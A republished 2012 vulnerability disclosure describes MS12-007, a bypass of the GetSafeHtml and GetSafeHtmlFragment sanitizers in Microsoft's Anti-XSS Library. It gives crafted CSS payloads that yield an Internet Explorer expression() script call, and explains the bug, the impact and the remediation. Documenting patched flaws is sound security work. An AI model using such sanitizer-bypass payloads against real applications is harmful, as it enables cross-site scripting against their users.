Microsoft Anti-XSS Library Bypass (MS12-007)
The following post describes the second bypass I found to the toStaticHTML function in IE - back in 2012.
Introduction:
The Microsoft Anti-XSS Library is used in ASP .NET applications to protect against Cross-Site Scripting attacks, by providing methods for input sanitization.
Vulnerability:
Microsoft Anti-XSS Library 3.0 and 4.0 are vulnerable to an attack in which an attacker is able to create a specially formed CSS, that after passing through the GetSafeHTML or GetSafeHTMLFragment methods, contains an expression that triggers a JavaScript call in Internet Explorer.
The following ASP .NET code demonstrates the vulnerability:
1. string data = Microsoft.Security.Application.Sanitizer.GetSafeHtml("<html>a<style><!--div{font-family:Foo,Bar\\,'a\\a';font-family:';color:expression(alert(1));y'}--></style><div>b</div></html>");
2. string data = Microsoft.Security.Application.Sanitizer.GetSafeHtmlFragment("<div style=\"font-family:Foo,Bar\\,'a\\a';font-family:';color:expression(alert(1));y'\">aaa</div>");
Explanation:
The string value can be broken down to a readable form (before sanitization):
div{
font-family:Foo,Bar\,'a\a';
font-family:';color:expression(alert(1));y'
}
A bug in the Anti-XSS library causes the closing apostrophe in the first CSS rule to be dropped. Because of the string not being properly terminated, Internet Explorer now renders this CSS in a different way, which triggers a javascript call (after sanitization):
div{
font-family:Foo,Bar\,'a\a;font-family:';
color:expression(alert(1));
y'
}
Impact:
Every application that relies on either GetSafeHTML or GetSafeHtmlFragment to sanitize user supplied data is vulnerable to XSS.
Remediation:
Microsoft has issued a the Anti-XSS library 4.2 to address this issue.
References:
http://www.securityfocus.com/bid/51291 http://technet.microsoft.com/en-us/security/bulletin/ms12-007
An old post from 2012. Originally published under Watchfire's (IBM) Blog
Discovered by - Adi Cohen, IBM Application Security Research
Recent Posts
See AllBackground AMP is most commonly used as a framework to develop fast-loading content on the web. One of AMP's projects, AMP4Email has been...
The following post describes a new method to exploit injections in JSON file - Back in 2012 Introduction: In the world of Web2.0 and mash...
The following post describes the second bypass I found to the toStaticHTML function in IE - back in 2012. Introduction: The toStaticHTML...
コメント